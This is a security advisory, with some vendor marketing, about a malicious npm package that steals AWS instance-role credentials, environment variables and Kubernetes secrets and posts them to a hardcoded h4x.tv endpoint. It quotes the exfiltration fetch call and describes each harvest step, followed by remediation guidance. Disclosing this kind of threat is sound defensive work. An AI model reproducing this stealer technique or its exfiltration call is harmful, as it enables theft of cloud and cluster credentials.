@hrmony/benefitverwaltungnpm
@hrmony/benefitverwaltung is a confirmed malicious npm package (MAL-2026-17257) that steals credentials and exfiltrates sensitive data (malicious version 1.99.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @hrmony/benefitverwaltung (npm)
What this malware does
On top-level import, the package's main module POSTs an initial identifying beacon (body {"c53":"hello"}) to the hardcoded endpoint https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_benefitverwaltung, then performs three concrete harvest steps and exfiltrates each to the same host: (1) an IMDSv2 request flow against 169.254.169.254 that reads instance identity, enumerates IAM role names under /iam/security-credentials/, and fetches the temporary AWS access key ID, secret access key, and session token for each role; (2) a full enumeration of process.env via Object.entries(process.env) into an envs object; (3) a recursive read of /var/run/secrets/ collecting Kubernetes-mounted service-account tokens and secret files. The collected data is sent via fetch(EXPORTER_URL, {method: 'POST', body: JSON.stringify(...)}). The destination domain h4x.tv is not associated with the @hrmony scope or any legitimate benefit-administration service. The package also declares a runtime dependency on @hrmony/kit-5 ^1.0.0 within its own scope while shipping only exfiltration code as its main, consistent with a dependency-confusion lure targeting an internal @hrmony namespace.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @hrmony/benefitverwaltung (version 1.99.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @hrmony/benefitverwaltung across your stack and pipelines.
If you installed it — respond
@hrmony/benefitverwaltung is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @hrmony/benefitverwaltung was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @hrmony/benefitverwaltung before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @hrmony/benefitverwaltung-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.